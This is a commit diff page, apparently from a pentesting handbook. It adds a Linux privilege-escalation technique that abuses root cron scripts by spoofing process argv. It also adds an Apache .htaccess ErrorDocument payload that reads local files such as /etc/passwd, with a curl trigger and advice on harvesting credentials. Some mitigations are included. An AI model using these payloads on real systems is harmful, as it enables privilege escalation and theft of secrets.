You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/README.md
+50-1Lines changed: 50 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -452,6 +452,55 @@ It's possible to create a cronjob **putting a carriage return after a comment**
452
452
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
453
453
```
454
454
455
+
### pgrep/ps argv spoofing in privileged cron scripts
456
+
457
+
If a root cron/systemd timer script constructs commands from untrusted process listings, you can often escalate privileges by forging a process argv that the script consumes.
458
+
459
+
Vulnerable pattern (real-world example simplified):
460
+
461
+
```bash
462
+
#!/usr/bin/bash
463
+
RET=0
464
+
whileread pid _cmd ;do
465
+
# Replace apache2 with apache2ctl and add -t for test
- Use -f /path/to/attacker.conf to point apache2ctl to a config you fully control; you can also override -d to influence ServerRoot resolution.
494
+
- Craft attacker.conf to leverage Apache behaviors that execute privileged helpers during config parsing/startup (e.g., piped logs or other directives that may spawn programs during validation/startup in your target’s build). This can yield root-level command execution or privileged file writes even if the script runs with -t.
495
+
496
+
Detection and mitigation
497
+
- Never execute strings built from process listings. Use fixed argv arrays and strict allowlists for both program and arguments.
498
+
- If you must inspect processes, parse safely and avoid substituting and executing arbitrary strings; do not pass untrusted data through the shell.
499
+
- Drop privileges in health-check jobs and test configs as an unprivileged user.
500
+
501
+
References
502
+
-[HTB Zero write-up showing this abuse and path to root](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
## LFI via .htaccess ErrorDocument file provider (ap_expr)
31
+
32
+
If you can control a directory’s .htaccess and AllowOverride includes FileInfo for that path, you can turn 404 responses into arbitrary local file reads using the ap_expr file() function inside ErrorDocument.
33
+
34
+
- Requirements:
35
+
- Apache 2.4 with expression parser (ap_expr) enabled (default in 2.4).
36
+
- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
37
+
- The Apache worker user must have read permissions on the target file.
38
+
39
+
.htaccess payload:
40
+
41
+
```apache
42
+
# Optional marker header just to identify your tenant/request path
43
+
Header always set X-Debug-Tenant "demo"
44
+
# On any 404 under this directory, return the contents of an absolute filesystem path
45
+
ErrorDocument 404 %{file:/etc/passwd}
46
+
```
47
+
48
+
Trigger by requesting any non-existing path below that directory, for example when abusing userdir-style hosting:
49
+
50
+
```bash
51
+
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
52
+
```
53
+
54
+
Notes and tips:
55
+
- Only absolute paths work. The content is returned as the response body for the 404 handler.
56
+
- Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups.
57
+
- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
58
+
- rename .htaccess .htaccess.bk
59
+
- put your malicious .htaccess
60
+
- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
0 commit comments